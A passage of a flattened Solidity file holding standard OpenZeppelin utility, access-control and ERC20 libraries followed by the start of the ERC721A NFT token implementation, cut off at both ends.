tokens in `fromTokenId` to `toTokenId` * (inclusive) is transferred from `from` to `to`, as defined in the * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard. * * See {_mintERC2309} for more details. */ event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to); } // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // OpenZeppelin Contracts (last updated v4.8.0) (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _SYMBOLS = "0123456789abcdef"; uint8 private constant _ADDRESS_LENGTH = 20; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = Math.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), _SYMBOLS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, Math.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); } } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts (last updated v4.8.0) (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { _nonReentrantBefore(); _; _nonReentrantAfter(); } function _nonReentrantBefore() private { // On the first call to nonReentrant, _status will be _NOT_ENTERED require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; } function _nonReentrantAfter() private { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function safePermit( IERC20Permit token, address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal { uint256 nonceBefore = token.nonces(owner); token.permit(owner, spender, value, deadline, v, r, s); uint256 nonceAfter = token.nonces(owner); require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed"); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } // ERC721A Contracts v4.2.3 // Creator: Chiru Labs pragma solidity ^0.8.4; /** * @dev Interface of ERC721 token receiver. */ interface ERC721A__IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC721A * * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721) * Non-Fungible Token Standard, including the Metadata extension. * Optimized for lower gas during batch mints. * * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...) * starting from `_startTokenId()`. * * Assumptions: * * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is IERC721A { // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364). struct TokenApprovalRef { address value; } // ============================================================= // CONSTANTS // ============================================================= // Mask of an entry in packed address data. uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1; // The bit position of `numberMinted` in packed address data. uint256 private constant _BITPOS_NUMBER_MINTED = 64; // The bit position of `numberBurned` in packed address data. uint256 private constant _BITPOS_NUMBER_BURNED = 128; // The bit position of `aux` in packed address data. uint256 private constant _BITPOS_AUX = 192; // Mask of all 256 bits in packed address data except the 64 bits for `aux`. uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1; // The bit position of `startTimestamp` in packed ownership. uint256 private constant _BITPOS_START_TIMESTAMP = 160; // The bit mask of the `burned` bit in packed ownership. uint256 private constant _BITMASK_BURNED = 1 << 224; // The bit position of the `nextInitialized` bit in packed ownership. uint256 private constant _BITPOS_NEXT_INITIALIZED = 225; // The bit mask of the `nextInitialized` bit in packed ownership. uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225; // The bit position of `extraData` in packed ownership. uint256 private constant _BITPOS_EXTRA_DATA = 232; // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`. uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1; // The mask of the lower 160 bits for addresses. uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1; // The maximum `quantity` that can be minted with {_mintERC2309}. // This limit is to prevent overflows on the address data entries. // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309} // is required to cause an overflow, which is unrealistic. uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000; // The `Transfer` event signature is given by: // `keccak256(bytes("Transfer(address,address,uint256)"))`. bytes32 private constant _TRANSFER_EVENT_SIGNATURE = 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef; // ============================================================= // STORAGE // ============================================================= // The next token ID to be minted. uint256 private _currentIndex; // The number of tokens burned. uint256 private _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. // See {_packedOwnershipOf} implementation for details. // // Bits Layout: // - [0..159] `addr` // - [160..223] `startTimestamp` // - [224] `burned` // - [225] `nextInitialized` // - [232..255] `extraData` mapping(uint256 => uint256) private _packedOwnerships; // Mapping owner address to address data. // // Bits Layout: // - [0..63] `balance` // - [64..127] `numberMinted` // - [128..191] `numberBurned` // - [192..255] `aux` mapping(address => uint256) private _packedAddressData; // Mapping from token ID to approved address. mapping(uint256 => TokenApprovalRef) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // ============================================================= // CONSTRUCTOR // ============================================================= constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } // ============================================================= // TOKEN COUNTING OPERATIONS // ============================================================= /** * @dev Returns the starting token ID. * To change the starting token ID, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Returns the next token ID to be minted. */ function _nextTokenId() internal view virtual returns (uint256) { return _currentIndex; } /** * @dev Returns the total number of tokens in existence. * Burned tokens will reduce the count. * To get the total number of tokens minted, please see {_totalMinted}. */ function totalSupply() public view virtual override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than `_currentIndex - _startTokenId()` times. unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * @dev Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view virtual returns (uint256) { // Counter underflow is impossible as `_currentIndex` does not decrement, // and it is initialized to `_startTokenId()`. unchecked { return _currentIndex - _startTokenId(); } } /** * @dev Returns the total number of tokens burned. */ function _totalBurned() internal view virtual returns (uint256) { return _burnCounter; } // ============================================================= // ADDRESS DATA OPERATIONS // ============================================================= /** * @dev Returns the number of tokens in `owner`'s account. */ function balanceOf(address owner) public view virtual override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY; } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) & _BITMASK_ADDRESS_DATA_ENTRY; } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) & _BITMASK_ADDRESS_DATA_ENTRY; } /** * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return uint64(_packedAddressData[owner] >> _BITPOS_AUX); } /** * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal virtual { uint256 packed = _packedAddressData[owner]; uint256 auxCasted; // Cast `aux` with assembly to avoid redundant masking. assembly { auxCasted := aux } packed = (packed & _BITMASK_AUX_COMPLEMENT) | (auxCasted << _BITPOS_AUX); _packedAddressData[owner] = packed; } // ============================================================= // IERC165 // ============================================================= /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified) * to learn more about how these ids are created. * * This function call must use less than 30000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { // The interface IDs are constants representing the first 4 bytes // of the XOR of all function selectors in the interface. // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165) // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`) return interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165. interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721. interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata. } // ============================================================= // IERC721Metadata // ============================================================= /** * @dev Returns the token collection name. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the token collection symbol. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, _toString(tokenId))) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, it can be overridden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } // ============================================================= // OWNERSHIPS OPERATIONS // ============================================================= /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return address(uint160(_packedOwnershipOf(tokenId))); } /** * @dev Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around over time. */ function _ownershipOf(uint256 tokenId) internal view virtual returns (TokenOwnership memory) { return _unpackedOwnership(_packedOwnershipOf(tokenId)); } /** * @dev Returns the unpacked `TokenOwnership` struct at `index`. */ function _ownershipAt(uint256 index) internal view virtual returns (TokenOwnership memory) { return _unpackedOwnership(_packedOwnerships[index]); } /** * @dev Initializes the ownership slot minted at `index` for efficiency purposes. */ function _initializeOwnershipAt(uint256 index) internal virtual { if (_packedOwnerships[index] == 0) { _packedOwnerships[index] = _packedOwnershipOf(index); } } /** * Returns the packed ownership data of `tokenId`. */ function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr) if (curr < _currentIndex) { uint256 packed = _packedOwnerships[curr]; // If not burned. if (packed & _BITMASK_BURNED == 0) { // Invariant: // There will always be an initialized ownership slot // (i.e. 